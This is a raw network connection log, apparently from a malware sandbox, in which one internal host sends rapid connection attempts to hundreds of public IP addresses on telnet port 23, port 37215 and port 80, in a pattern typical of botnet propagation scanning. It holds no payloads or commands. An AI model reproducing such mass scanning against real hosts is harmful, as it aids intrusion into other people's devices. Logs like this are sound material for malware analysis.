Oct 14, 2024 17:34:12.194576025 CEST	29508	23	192.168.2.14	194.3.82.52
Oct 14, 2024 17:34:12.194587946 CEST	29508	23	192.168.2.14	216.217.72.174
Oct 14, 2024 17:34:12.194587946 CEST	29508	23	192.168.2.14	169.213.42.91
Oct 14, 2024 17:34:12.194600105 CEST	29508	23	192.168.2.14	116.217.29.167
Oct 14, 2024 17:34:12.194600105 CEST	29508	23	192.168.2.14	204.90.63.240
Oct 14, 2024 17:34:12.194600105 CEST	29508	23	192.168.2.14	35.148.254.114
Oct 14, 2024 17:34:12.194607019 CEST	29508	23	192.168.2.14	208.111.79.68
Oct 14, 2024 17:34:12.194607019 CEST	29508	23	192.168.2.14	96.245.16.70
Oct 14, 2024 17:34:12.194608927 CEST	29508	23	192.168.2.14	90.217.171.187
Oct 14, 2024 17:34:12.194608927 CEST	29508	23	192.168.2.14	136.119.167.53
Oct 14, 2024 17:34:12.194608927 CEST	29508	23	192.168.2.14	199.65.114.65
Oct 14, 2024 17:34:12.194608927 CEST	29508	23	192.168.2.14	68.153.209.34
Oct 14, 2024 17:34:12.194610119 CEST	29508	23	192.168.2.14	164.244.129.51
Oct 14, 2024 17:34:12.194611073 CEST	29508	23	192.168.2.14	65.22.33.68
Oct 14, 2024 17:34:12.194610119 CEST	29508	23	192.168.2.14	69.63.54.59
Oct 14, 2024 17:34:12.194610119 CEST	29508	23	192.168.2.14	80.235.120.192
Oct 14, 2024 17:34:12.194610119 CEST	29508	23	192.168.2.14	96.248.182.105
Oct 14, 2024 17:34:12.194633007 CEST	29508	23	192.168.2.14	24.214.46.122
Oct 14, 2024 17:34:12.194633961 CEST	29508	23	192.168.2.14	165.150.231.201
Oct 14, 2024 17:34:12.194633961 CEST	29508	23	192.168.2.14	109.96.156.134
Oct 14, 2024 17:34:12.194633961 CEST	29508	23	192.168.2.14	64.143.106.144
Oct 14, 2024 17:34:12.194633961 CEST	29508	23	192.168.2.14	166.208.136.83
Oct 14, 2024 17:34:12.194633961 CEST	29508	23	192.168.2.14	126.215.248.96
Oct 14, 2024 17:34:12.194633961 CEST	29508	23	192.168.2.14	74.124.51.74
Oct 14, 2024 17:34:12.194633961 CEST	29508	23	192.168.2.14	164.136.51.29
Oct 14, 2024 17:34:12.194633961 CEST	29508	23	192.168.2.14	68.29.224.209
Oct 14, 2024 17:34:12.194636106 CEST	29508	23	192.168.2.14	108.98.6.98
Oct 14, 2024 17:34:12.194633961 CEST	29508	23	192.168.2.14	204.249.90.105
Oct 14, 2024 17:34:12.194634914 CEST	29508	23	192.168.2.14	88.36.113.246
Oct 14, 2024 17:34:12.194648027 CEST	29508	23	192.168.2.14	1.241.26.23
Oct 14, 2024 17:34:12.194648981 CEST	29508	23	192.168.2.14	159.54.186.242
Oct 14, 2024 17:34:12.194648981 CEST	29508	23	192.168.2.14	168.100.37.156
Oct 14, 2024 17:34:12.194648981 CEST	29508	23	192.168.2.14	157.76.223.72
Oct 14, 2024 17:34:12.194648981 CEST	29508	23	192.168.2.14	112.117.54.204
Oct 14, 2024 17:34:12.194648981 CEST	29508	23	192.168.2.14	192.239.100.40
Oct 14, 2024 17:34:12.194648981 CEST	29508	23	192.168.2.14	52.34.26.222
Oct 14, 2024 17:34:12.194653034 CEST	29508	23	192.168.2.14	41.224.36.64
Oct 14, 2024 17:34:12.194653034 CEST	29508	23	192.168.2.14	24.232.99.239
Oct 14, 2024 17:34:12.194653034 CEST	29508	23	192.168.2.14	54.36.70.91
Oct 14, 2024 17:34:12.194653034 CEST	29508	23	192.168.2.14	76.231.49.3
Oct 14, 2024 17:34:12.194653034 CEST	29508	23	192.168.2.14	61.65.102.114
Oct 14, 2024 17:34:12.194653034 CEST	29508	23	192.168.2.14	70.123.49.196
Oct 14, 2024 17:34:12.194655895 CEST	29508	23	192.168.2.14	217.5.171.85
Oct 14, 2024 17:34:12.194655895 CEST	29508	23	192.168.2.14	19.125.247.170
Oct 14, 2024 17:34:12.194653034 CEST	29508	23	192.168.2.14	138.221.53.126
Oct 14, 2024 17:34:12.194660902 CEST	29508	23	192.168.2.14	110.216.241.93
Oct 14, 2024 17:34:12.194660902 CEST	29508	23	192.168.2.14	48.157.208.45
Oct 14, 2024 17:34:12.194663048 CEST	29508	23	192.168.2.14	103.159.255.217
Oct 14, 2024 17:34:12.194663048 CEST	29508	23	192.168.2.14	158.158.108.212
Oct 14, 2024 17:34:12.194665909 CEST	29508	23	192.168.2.14	181.131.205.194
Oct 14, 2024 17:34:12.194665909 CEST	29508	23	192.168.2.14	138.67.160.216
Oct 14, 2024 17:34:12.194665909 CEST	29508	23	192.168.2.14	157.234.77.186
Oct 14, 2024 17:34:12.194665909 CEST	29508	23	192.168.2.14	126.104.39.145
Oct 14, 2024 17:34:12.194665909 CEST	29508	23	192.168.2.14	205.190.71.25
Oct 14, 2024 17:34:12.194684982 CEST	29508	23	192.168.2.14	39.250.145.251
Oct 14, 2024 17:34:12.194684982 CEST	29508	23	192.168.2.14	204.76.85.66
Oct 14, 2024 17:34:12.194686890 CEST	29508	23	192.168.2.14	194.107.234.101
Oct 14, 2024 17:34:12.194686890 CEST	29508	23	192.168.2.14	164.24.132.111
Oct 14, 2024 17:34:12.194688082 CEST	29508	23	192.168.2.14	212.141.67.138
Oct 14, 2024 17:34:12.194688082 CEST	29508	23	192.168.2.14	218.82.213.49
Oct 14, 2024 17:34:12.194688082 CEST	29508	23	192.168.2.14	86.34.41.134
Oct 14, 2024 17:34:12.194686890 CEST	29508	23	192.168.2.14	177.17.132.20
Oct 14, 2024 17:34:12.194688082 CEST	29508	23	192.168.2.14	166.116.12.200
Oct 14, 2024 17:34:12.194690943 CEST	29508	23	192.168.2.14	88.187.132.161
Oct 14, 2024 17:34:12.194688082 CEST	29508	23	192.168.2.14	53.38.252.236
Oct 14, 2024 17:34:12.194688082 CEST	29508	23	192.168.2.14	200.160.116.12
Oct 14, 2024 17:34:12.194688082 CEST	29508	23	192.168.2.14	147.88.203.214
Oct 14, 2024 17:34:12.194688082 CEST	29508	23	192.168.2.14	44.108.85.126
Oct 14, 2024 17:34:12.194708109 CEST	29508	23	192.168.2.14	159.120.246.203
Oct 14, 2024 17:34:12.194708109 CEST	29508	23	192.168.2.14	72.227.66.83
Oct 14, 2024 17:34:12.194709063 CEST	29508	23	192.168.2.14	148.30.88.224
Oct 14, 2024 17:34:12.194710970 CEST	29508	23	192.168.2.14	60.146.78.43
Oct 14, 2024 17:34:12.194711924 CEST	29508	23	192.168.2.14	4.122.126.88
Oct 14, 2024 17:34:12.194711924 CEST	29508	23	192.168.2.14	99.211.2.26
Oct 14, 2024 17:34:12.194711924 CEST	29508	23	192.168.2.14	165.80.53.218
Oct 14, 2024 17:34:12.194711924 CEST	29508	23	192.168.2.14	152.108.25.70
Oct 14, 2024 17:34:12.194711924 CEST	29508	23	192.168.2.14	88.96.210.52
Oct 14, 2024 17:34:12.194713116 CEST	29508	23	192.168.2.14	159.72.173.50
Oct 14, 2024 17:34:12.194714069 CEST	29508	23	192.168.2.14	39.78.251.134
Oct 14, 2024 17:34:12.194715023 CEST	29508	23	192.168.2.14	133.236.189.78
Oct 14, 2024 17:34:12.194714069 CEST	29508	23	192.168.2.14	135.125.238.204
Oct 14, 2024 17:34:12.194713116 CEST	29508	23	192.168.2.14	50.100.226.138
Oct 14, 2024 17:34:12.194714069 CEST	29508	23	192.168.2.14	121.166.52.89
Oct 14, 2024 17:34:12.194714069 CEST	29508	23	192.168.2.14	88.32.240.124
Oct 14, 2024 17:34:12.194714069 CEST	29508	23	192.168.2.14	143.12.177.91
Oct 14, 2024 17:34:12.194714069 CEST	29508	23	192.168.2.14	220.160.90.250
Oct 14, 2024 17:34:12.194727898 CEST	29508	23	192.168.2.14	201.222.173.213
Oct 14, 2024 17:34:12.194727898 CEST	29508	23	192.168.2.14	18.130.199.193
Oct 14, 2024 17:34:12.194729090 CEST	29508	23	192.168.2.14	219.154.245.182
Oct 14, 2024 17:34:12.194729090 CEST	29508	23	192.168.2.14	164.234.87.196
Oct 14, 2024 17:34:12.194729090 CEST	29508	23	192.168.2.14	186.46.108.85
Oct 14, 2024 17:34:12.194729090 CEST	29508	23	192.168.2.14	34.174.217.219
Oct 14, 2024 17:34:12.194729090 CEST	29508	23	192.168.2.14	197.244.113.137
Oct 14, 2024 17:34:12.194729090 CEST	29508	23	192.168.2.14	35.185.106.173
Oct 14, 2024 17:34:12.194729090 CEST	29508	23	192.168.2.14	96.63.140.232
Oct 14, 2024 17:34:12.194739103 CEST	29508	23	192.168.2.14	118.104.173.140
Oct 14, 2024 17:34:12.194739103 CEST	29508	23	192.168.2.14	182.76.63.143
Oct 14, 2024 17:34:12.194739103 CEST	29508	23	192.168.2.14	77.198.190.213
Oct 14, 2024 17:34:12.194745064 CEST	29508	23	192.168.2.14	50.25.200.174
Oct 14, 2024 17:34:12.194745064 CEST	29508	23	192.168.2.14	135.138.196.153
Oct 14, 2024 17:34:12.194745064 CEST	29508	23	192.168.2.14	32.45.238.9
Oct 14, 2024 17:34:12.194745064 CEST	29508	23	192.168.2.14	79.192.139.74
Oct 14, 2024 17:34:12.194750071 CEST	29508	23	192.168.2.14	17.237.179.101
Oct 14, 2024 17:34:12.194750071 CEST	29508	23	192.168.2.14	110.59.4.34
Oct 14, 2024 17:34:12.194750071 CEST	29508	23	192.168.2.14	71.108.90.94
Oct 14, 2024 17:34:12.194751024 CEST	29508	23	192.168.2.14	118.101.91.1
Oct 14, 2024 17:34:12.194751024 CEST	29508	23	192.168.2.14	206.68.76.121
Oct 14, 2024 17:34:12.194751024 CEST	29508	23	192.168.2.14	74.19.241.209
Oct 14, 2024 17:34:12.194752932 CEST	29508	23	192.168.2.14	93.57.131.95
Oct 14, 2024 17:34:12.194752932 CEST	29508	23	192.168.2.14	187.245.42.50
Oct 14, 2024 17:34:12.194752932 CEST	29508	23	192.168.2.14	8.91.60.213
Oct 14, 2024 17:34:12.194752932 CEST	29508	23	192.168.2.14	38.115.135.164
Oct 14, 2024 17:34:12.194757938 CEST	29508	23	192.168.2.14	141.87.21.2
Oct 14, 2024 17:34:12.194761992 CEST	29508	23	192.168.2.14	187.34.78.251
Oct 14, 2024 17:34:12.194761992 CEST	29508	23	192.168.2.14	83.179.179.130
Oct 14, 2024 17:34:12.194772005 CEST	29508	23	192.168.2.14	49.245.244.123
Oct 14, 2024 17:34:12.194772005 CEST	29508	23	192.168.2.14	61.63.90.24
Oct 14, 2024 17:34:12.194772005 CEST	29508	23	192.168.2.14	216.27.0.70
Oct 14, 2024 17:34:12.194772959 CEST	29508	23	192.168.2.14	178.207.174.20
Oct 14, 2024 17:34:12.194775105 CEST	29508	23	192.168.2.14	208.196.76.95
Oct 14, 2024 17:34:12.194775105 CEST	29508	23	192.168.2.14	104.63.208.161
Oct 14, 2024 17:34:12.194777012 CEST	29508	23	192.168.2.14	183.110.33.32
Oct 14, 2024 17:34:12.194777012 CEST	29508	23	192.168.2.14	186.76.119.16
Oct 14, 2024 17:34:12.194777966 CEST	29508	23	192.168.2.14	86.131.42.46
Oct 14, 2024 17:34:12.194777966 CEST	29508	23	192.168.2.14	125.139.13.220
Oct 14, 2024 17:34:12.194777966 CEST	29508	23	192.168.2.14	110.237.90.210
Oct 14, 2024 17:34:12.194785118 CEST	29508	23	192.168.2.14	170.17.20.225
Oct 14, 2024 17:34:12.194788933 CEST	29508	23	192.168.2.14	221.60.113.211
Oct 14, 2024 17:34:12.194789886 CEST	29508	23	192.168.2.14	51.120.187.224
Oct 14, 2024 17:34:12.194789886 CEST	29508	23	192.168.2.14	123.47.54.91
Oct 14, 2024 17:34:12.194788933 CEST	29508	23	192.168.2.14	203.136.72.144
Oct 14, 2024 17:34:12.194791079 CEST	29508	23	192.168.2.14	151.196.170.58
Oct 14, 2024 17:34:12.194791079 CEST	29508	23	192.168.2.14	143.50.181.16
Oct 14, 2024 17:34:12.194797993 CEST	29508	23	192.168.2.14	159.13.71.186
Oct 14, 2024 17:34:12.194797993 CEST	29508	23	192.168.2.14	152.117.63.109
Oct 14, 2024 17:34:12.194797993 CEST	29508	23	192.168.2.14	107.153.30.92
Oct 14, 2024 17:34:12.194797993 CEST	29508	23	192.168.2.14	78.235.104.94
Oct 14, 2024 17:34:12.194797993 CEST	29508	23	192.168.2.14	53.133.96.204
Oct 14, 2024 17:34:12.194797993 CEST	29508	23	192.168.2.14	91.67.36.67
Oct 14, 2024 17:34:12.194797993 CEST	29508	23	192.168.2.14	147.152.234.194
Oct 14, 2024 17:34:12.194799900 CEST	29508	23	192.168.2.14	41.55.89.147
Oct 14, 2024 17:34:12.194797993 CEST	29508	23	192.168.2.14	193.212.98.192
Oct 14, 2024 17:34:12.194799900 CEST	29508	23	192.168.2.14	39.163.251.172
Oct 14, 2024 17:34:12.194799900 CEST	29508	23	192.168.2.14	25.229.246.175
Oct 14, 2024 17:34:12.194799900 CEST	29508	23	192.168.2.14	220.229.5.116
Oct 14, 2024 17:34:12.194799900 CEST	29508	23	192.168.2.14	89.69.2.116
Oct 14, 2024 17:34:12.194806099 CEST	29508	23	192.168.2.14	161.225.196.161
Oct 14, 2024 17:34:12.194808006 CEST	29508	23	192.168.2.14	137.24.111.108
Oct 14, 2024 17:34:12.194808006 CEST	29508	23	192.168.2.14	146.190.91.91
Oct 14, 2024 17:34:12.194808006 CEST	29508	23	192.168.2.14	85.84.154.51
Oct 14, 2024 17:34:12.194808006 CEST	29508	23	192.168.2.14	82.75.20.182
Oct 14, 2024 17:34:12.194808006 CEST	29508	23	192.168.2.14	122.3.168.245
Oct 14, 2024 17:34:12.194818974 CEST	29508	23	192.168.2.14	159.1.14.2
Oct 14, 2024 17:34:12.194818974 CEST	29508	23	192.168.2.14	182.231.25.68
Oct 14, 2024 17:34:12.194818974 CEST	29508	23	192.168.2.14	96.116.126.185
Oct 14, 2024 17:34:12.194822073 CEST	29508	23	192.168.2.14	66.75.209.84
Oct 14, 2024 17:34:12.194822073 CEST	29508	23	192.168.2.14	126.19.219.81
Oct 14, 2024 17:34:12.194823027 CEST	29508	23	192.168.2.14	80.61.225.57
Oct 14, 2024 17:34:12.194823027 CEST	29508	23	192.168.2.14	161.34.130.52
Oct 14, 2024 17:34:12.194823027 CEST	29508	23	192.168.2.14	194.139.69.85
Oct 14, 2024 17:34:12.194824934 CEST	29508	23	192.168.2.14	82.108.144.70
Oct 14, 2024 17:34:12.194832087 CEST	29508	23	192.168.2.14	211.179.150.174
Oct 14, 2024 17:34:12.194837093 CEST	29508	23	192.168.2.14	163.80.228.30
Oct 14, 2024 17:34:12.194838047 CEST	29508	23	192.168.2.14	198.80.144.223
Oct 14, 2024 17:34:12.194838047 CEST	29508	23	192.168.2.14	48.146.54.33
Oct 14, 2024 17:34:12.194839001 CEST	29508	23	192.168.2.14	5.1.57.42
Oct 14, 2024 17:34:12.194839954 CEST	29508	23	192.168.2.14	218.158.220.138
Oct 14, 2024 17:34:12.194839954 CEST	29508	23	192.168.2.14	153.65.248.214
Oct 14, 2024 17:34:12.194839954 CEST	29508	23	192.168.2.14	67.248.61.227
Oct 14, 2024 17:34:12.194840908 CEST	29508	23	192.168.2.14	208.235.137.39
Oct 14, 2024 17:34:12.194839954 CEST	29508	23	192.168.2.14	116.210.173.20
Oct 14, 2024 17:34:12.194840908 CEST	29508	23	192.168.2.14	71.248.221.26
Oct 14, 2024 17:34:12.194839954 CEST	29508	23	192.168.2.14	36.198.191.255
Oct 14, 2024 17:34:12.194844961 CEST	29508	23	192.168.2.14	87.127.160.125
Oct 14, 2024 17:34:12.194844961 CEST	29508	23	192.168.2.14	40.27.198.122
Oct 14, 2024 17:34:12.194840908 CEST	29508	23	192.168.2.14	220.12.212.24
Oct 14, 2024 17:34:12.194849014 CEST	29508	23	192.168.2.14	46.93.226.14
Oct 14, 2024 17:34:12.194849968 CEST	29508	23	192.168.2.14	158.88.200.69
Oct 14, 2024 17:34:12.194849968 CEST	29508	23	192.168.2.14	212.27.238.73
Oct 14, 2024 17:34:12.194860935 CEST	29508	23	192.168.2.14	107.134.172.212
Oct 14, 2024 17:34:12.194863081 CEST	29508	23	192.168.2.14	216.33.86.52
Oct 14, 2024 17:34:12.194864988 CEST	29508	23	192.168.2.14	156.125.105.108
Oct 14, 2024 17:34:12.194864988 CEST	29508	23	192.168.2.14	118.150.187.215
Oct 14, 2024 17:34:12.194864988 CEST	29508	23	192.168.2.14	39.72.31.206
Oct 14, 2024 17:34:12.194864988 CEST	29508	23	192.168.2.14	180.151.201.35
Oct 14, 2024 17:34:12.194869995 CEST	29508	23	192.168.2.14	8.133.160.157
Oct 14, 2024 17:34:12.194864988 CEST	29508	23	192.168.2.14	134.176.252.38
Oct 14, 2024 17:34:12.194869995 CEST	29508	23	192.168.2.14	88.149.169.102
Oct 14, 2024 17:34:12.194864988 CEST	29508	23	192.168.2.14	122.153.154.45
Oct 14, 2024 17:34:12.194869995 CEST	29508	23	192.168.2.14	162.144.243.75
Oct 14, 2024 17:34:12.194864988 CEST	29508	23	192.168.2.14	101.222.99.234
Oct 14, 2024 17:34:12.194874048 CEST	29508	23	192.168.2.14	115.32.240.232
Oct 14, 2024 17:34:12.194864988 CEST	29508	23	192.168.2.14	194.173.254.240
Oct 14, 2024 17:34:12.194874048 CEST	29508	23	192.168.2.14	120.39.58.127
Oct 14, 2024 17:34:12.194880962 CEST	29508	23	192.168.2.14	207.12.9.175
Oct 14, 2024 17:34:12.194881916 CEST	29508	23	192.168.2.14	114.83.181.110
Oct 14, 2024 17:34:12.194884062 CEST	29508	23	192.168.2.14	44.71.12.17
Oct 14, 2024 17:34:12.194891930 CEST	29508	23	192.168.2.14	142.231.188.242
Oct 14, 2024 17:34:12.194891930 CEST	29508	23	192.168.2.14	145.12.20.43
Oct 14, 2024 17:34:12.194895029 CEST	29508	23	192.168.2.14	197.102.229.69
Oct 14, 2024 17:34:12.194900990 CEST	29508	23	192.168.2.14	67.93.177.176
Oct 14, 2024 17:34:12.194900990 CEST	29508	23	192.168.2.14	131.235.227.45
Oct 14, 2024 17:34:12.194900990 CEST	29508	23	192.168.2.14	58.31.64.103
Oct 14, 2024 17:34:12.194901943 CEST	29508	23	192.168.2.14	114.30.98.30
Oct 14, 2024 17:34:12.194905043 CEST	29508	23	192.168.2.14	109.164.30.191
Oct 14, 2024 17:34:12.194905043 CEST	29508	23	192.168.2.14	38.211.53.165
Oct 14, 2024 17:34:12.194916964 CEST	29508	23	192.168.2.14	195.128.79.0
Oct 14, 2024 17:34:12.194916964 CEST	29508	23	192.168.2.14	183.137.52.182
Oct 14, 2024 17:34:12.194917917 CEST	29508	23	192.168.2.14	159.99.234.177
Oct 14, 2024 17:34:12.194919109 CEST	29508	23	192.168.2.14	165.5.137.31
Oct 14, 2024 17:34:12.194919109 CEST	29508	23	192.168.2.14	72.104.218.80
Oct 14, 2024 17:34:12.194920063 CEST	29508	23	192.168.2.14	37.107.227.146
Oct 14, 2024 17:34:12.194921970 CEST	29508	23	192.168.2.14	179.4.115.233
Oct 14, 2024 17:34:12.194922924 CEST	29508	23	192.168.2.14	63.167.86.95
Oct 14, 2024 17:34:12.194922924 CEST	29508	23	192.168.2.14	189.87.55.240
Oct 14, 2024 17:34:12.194922924 CEST	29508	23	192.168.2.14	202.233.173.60
Oct 14, 2024 17:34:12.194931984 CEST	29508	23	192.168.2.14	92.179.28.19
Oct 14, 2024 17:34:12.194932938 CEST	29508	23	192.168.2.14	145.132.166.204
Oct 14, 2024 17:34:12.194932938 CEST	29508	23	192.168.2.14	132.23.183.100
Oct 14, 2024 17:34:12.194932938 CEST	29508	23	192.168.2.14	156.234.48.158
Oct 14, 2024 17:34:12.194932938 CEST	29508	23	192.168.2.14	201.52.118.1
Oct 14, 2024 17:34:12.194936037 CEST	29508	23	192.168.2.14	120.202.207.38
Oct 14, 2024 17:34:12.194936037 CEST	29508	23	192.168.2.14	161.41.55.194
Oct 14, 2024 17:34:12.194936037 CEST	29508	23	192.168.2.14	91.238.65.142
Oct 14, 2024 17:34:12.194936037 CEST	29508	23	192.168.2.14	70.64.207.119
Oct 14, 2024 17:34:12.194953918 CEST	29508	23	192.168.2.14	156.55.202.140
Oct 14, 2024 17:34:12.194955111 CEST	29508	23	192.168.2.14	65.46.169.101
Oct 14, 2024 17:34:12.194956064 CEST	29508	23	192.168.2.14	92.51.101.11
Oct 14, 2024 17:34:12.194956064 CEST	29508	23	192.168.2.14	114.79.119.249
Oct 14, 2024 17:34:12.194956064 CEST	29508	23	192.168.2.14	180.167.26.202
Oct 14, 2024 17:34:12.194956064 CEST	29508	23	192.168.2.14	151.213.245.91
Oct 14, 2024 17:34:12.194972992 CEST	29508	23	192.168.2.14	220.148.159.248
Oct 14, 2024 17:34:12.194972992 CEST	29508	23	192.168.2.14	59.21.254.128
Oct 14, 2024 17:34:12.194981098 CEST	29508	23	192.168.2.14	221.163.109.43
Oct 14, 2024 17:34:12.194981098 CEST	29508	23	192.168.2.14	117.238.65.106
Oct 14, 2024 17:34:12.194981098 CEST	29508	23	192.168.2.14	189.106.131.48
Oct 14, 2024 17:34:12.194982052 CEST	29508	23	192.168.2.14	156.60.214.89
Oct 14, 2024 17:34:12.194983006 CEST	29508	23	192.168.2.14	2.178.242.136
Oct 14, 2024 17:34:12.194984913 CEST	29508	23	192.168.2.14	51.211.141.238
Oct 14, 2024 17:34:12.194984913 CEST	29508	23	192.168.2.14	168.218.188.160
Oct 14, 2024 17:34:12.194986105 CEST	29508	23	192.168.2.14	106.138.75.157
Oct 14, 2024 17:34:12.194986105 CEST	29508	23	192.168.2.14	144.237.212.150
Oct 14, 2024 17:34:12.194992065 CEST	29508	23	192.168.2.14	87.175.38.254
Oct 14, 2024 17:34:12.194992065 CEST	29508	23	192.168.2.14	156.26.3.19
Oct 14, 2024 17:34:12.194992065 CEST	29508	23	192.168.2.14	47.191.173.47
Oct 14, 2024 17:34:12.194992065 CEST	29508	23	192.168.2.14	173.43.169.85
Oct 14, 2024 17:34:12.194998980 CEST	29508	23	192.168.2.14	202.189.37.229
Oct 14, 2024 17:34:12.194999933 CEST	29508	23	192.168.2.14	19.141.31.96
Oct 14, 2024 17:34:12.194999933 CEST	29508	23	192.168.2.14	178.0.57.253
Oct 14, 2024 17:34:12.194999933 CEST	29508	23	192.168.2.14	108.252.58.70
Oct 14, 2024 17:34:12.194999933 CEST	29508	23	192.168.2.14	39.23.151.30
Oct 14, 2024 17:34:12.194999933 CEST	29508	23	192.168.2.14	211.188.75.185
Oct 14, 2024 17:34:12.194999933 CEST	29508	23	192.168.2.14	80.129.81.33
Oct 14, 2024 17:34:12.194999933 CEST	29508	23	192.168.2.14	5.206.239.230
Oct 14, 2024 17:34:12.195013046 CEST	29508	23	192.168.2.14	211.60.132.78
Oct 14, 2024 17:34:12.195604086 CEST	33644	80	192.168.2.14	205.147.119.75
Oct 14, 2024 17:34:12.196616888 CEST	23	57260	152.188.125.227	192.168.2.14
Oct 14, 2024 17:34:12.196635008 CEST	52682	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:12.196661949 CEST	57260	23	192.168.2.14	152.188.125.227
Oct 14, 2024 17:34:12.197524071 CEST	41606	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:12.198518038 CEST	59940	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:12.203659058 CEST	32838	80	192.168.2.14	222.204.47.231
Oct 14, 2024 17:34:12.204725981 CEST	42888	37215	192.168.2.14	197.106.106.67
Oct 14, 2024 17:34:12.206480026 CEST	58094	80	192.168.2.14	83.98.205.147
Oct 14, 2024 17:34:12.206691980 CEST	50156	37215	192.168.2.14	41.127.205.23
Oct 14, 2024 17:34:12.208656073 CEST	54710	80	192.168.2.14	219.202.142.173
Oct 14, 2024 17:34:12.208693027 CEST	80	32838	222.204.47.231	192.168.2.14
Oct 14, 2024 17:34:12.208770037 CEST	32838	80	192.168.2.14	222.204.47.231
Oct 14, 2024 17:34:12.208843946 CEST	36270	37215	192.168.2.14	156.124.209.153
Oct 14, 2024 17:34:12.210388899 CEST	44564	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:12.210633993 CEST	53432	37215	192.168.2.14	156.159.96.221
Oct 14, 2024 17:34:12.213232040 CEST	44284	80	192.168.2.14	216.251.227.65
Oct 14, 2024 17:34:12.214145899 CEST	47172	37215	192.168.2.14	197.176.10.14
Oct 14, 2024 17:34:12.215625048 CEST	59354	80	192.168.2.14	155.29.92.241
Oct 14, 2024 17:34:12.216463089 CEST	45036	37215	192.168.2.14	156.150.111.127
Oct 14, 2024 17:34:12.218297005 CEST	80	44284	216.251.227.65	192.168.2.14
Oct 14, 2024 17:34:12.218369961 CEST	44284	80	192.168.2.14	216.251.227.65
Oct 14, 2024 17:34:12.218373060 CEST	41732	80	192.168.2.14	52.186.86.108
Oct 14, 2024 17:34:12.219194889 CEST	35206	37215	192.168.2.14	41.169.155.72
Oct 14, 2024 17:34:12.220592976 CEST	50656	80	192.168.2.14	82.200.247.237
Oct 14, 2024 17:34:12.221779108 CEST	48908	37215	192.168.2.14	41.217.156.39
Oct 14, 2024 17:34:12.222903013 CEST	43576	80	192.168.2.14	96.175.251.118
Oct 14, 2024 17:34:12.224153042 CEST	55520	37215	192.168.2.14	41.249.126.241
Oct 14, 2024 17:34:12.224916935 CEST	45158	80	192.168.2.14	24.22.140.5
Oct 14, 2024 17:34:12.225583076 CEST	80	50656	82.200.247.237	192.168.2.14
Oct 14, 2024 17:34:12.225668907 CEST	50656	80	192.168.2.14	82.200.247.237
Oct 14, 2024 17:34:12.227103949 CEST	58166	37215	192.168.2.14	197.10.15.48
Oct 14, 2024 17:34:12.227565050 CEST	33622	80	192.168.2.14	195.140.177.192
Oct 14, 2024 17:34:12.229494095 CEST	55122	37215	192.168.2.14	156.82.93.89
Oct 14, 2024 17:34:12.230106115 CEST	46020	80	192.168.2.14	39.152.22.181
Oct 14, 2024 17:34:12.232517958 CEST	55794	37215	192.168.2.14	41.157.6.145
Oct 14, 2024 17:34:12.233076096 CEST	35194	80	192.168.2.14	65.17.82.35
Oct 14, 2024 17:34:12.235735893 CEST	35964	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:12.236253023 CEST	41364	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:12.237355947 CEST	37215	55794	41.157.6.145	192.168.2.14
Oct 14, 2024 17:34:12.237399101 CEST	55794	37215	192.168.2.14	41.157.6.145
Oct 14, 2024 17:34:12.238553047 CEST	34810	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:12.238841057 CEST	57284	80	192.168.2.14	188.102.90.35
Oct 14, 2024 17:34:12.241050959 CEST	47458	37215	192.168.2.14	197.161.220.113
Oct 14, 2024 17:34:12.241204023 CEST	43728	80	192.168.2.14	179.243.100.148
Oct 14, 2024 17:34:12.242964983 CEST	60518	37215	192.168.2.14	41.213.174.168
Oct 14, 2024 17:34:12.243221045 CEST	40042	80	192.168.2.14	217.202.74.124
Oct 14, 2024 17:34:12.246090889 CEST	53966	37215	192.168.2.14	41.237.110.7
Oct 14, 2024 17:34:12.246294022 CEST	37215	47458	197.161.220.113	192.168.2.14
Oct 14, 2024 17:34:12.246299028 CEST	59266	80	192.168.2.14	19.180.62.161
Oct 14, 2024 17:34:12.246416092 CEST	47458	37215	192.168.2.14	197.161.220.113
Oct 14, 2024 17:34:12.247500896 CEST	46824	37215	192.168.2.14	41.132.34.4
Oct 14, 2024 17:34:12.248821974 CEST	59028	37215	192.168.2.14	197.12.54.70
Oct 14, 2024 17:34:12.249639988 CEST	59616	37215	192.168.2.14	197.137.33.210
Oct 14, 2024 17:34:12.251454115 CEST	55518	37215	192.168.2.14	156.119.88.242
Oct 14, 2024 17:34:12.252782106 CEST	38924	37215	192.168.2.14	41.247.4.72
Oct 14, 2024 17:34:12.254904985 CEST	46538	37215	192.168.2.14	197.91.19.18
Oct 14, 2024 17:34:12.255850077 CEST	57256	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:12.256344080 CEST	37215	55518	156.119.88.242	192.168.2.14
Oct 14, 2024 17:34:12.256386995 CEST	55518	37215	192.168.2.14	156.119.88.242
Oct 14, 2024 17:34:12.256978989 CEST	47620	37215	192.168.2.14	197.16.59.197
Oct 14, 2024 17:34:12.257879019 CEST	53844	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:12.259097099 CEST	41108	37215	192.168.2.14	156.145.191.117
Oct 14, 2024 17:34:12.260881901 CEST	35966	80	192.168.2.14	188.151.101.126
Oct 14, 2024 17:34:12.261102915 CEST	50772	37215	192.168.2.14	197.6.160.49
Oct 14, 2024 17:34:12.263149977 CEST	40966	80	192.168.2.14	1.23.69.72
Oct 14, 2024 17:34:12.263289928 CEST	37776	37215	192.168.2.14	41.11.224.152
Oct 14, 2024 17:34:12.265718937 CEST	80	35966	188.151.101.126	192.168.2.14
Oct 14, 2024 17:34:12.265767097 CEST	35966	80	192.168.2.14	188.151.101.126
Oct 14, 2024 17:34:12.265893936 CEST	48330	80	192.168.2.14	13.221.127.199
Oct 14, 2024 17:34:12.266146898 CEST	44206	37215	192.168.2.14	156.251.156.83
Oct 14, 2024 17:34:12.267754078 CEST	59424	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:12.269330025 CEST	60642	80	192.168.2.14	122.159.191.31
Oct 14, 2024 17:34:12.270737886 CEST	42234	80	192.168.2.14	222.129.54.144
Oct 14, 2024 17:34:12.272030115 CEST	44498	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:12.273121119 CEST	47314	80	192.168.2.14	58.0.13.163
Oct 14, 2024 17:34:12.275146961 CEST	54024	80	192.168.2.14	69.215.22.231
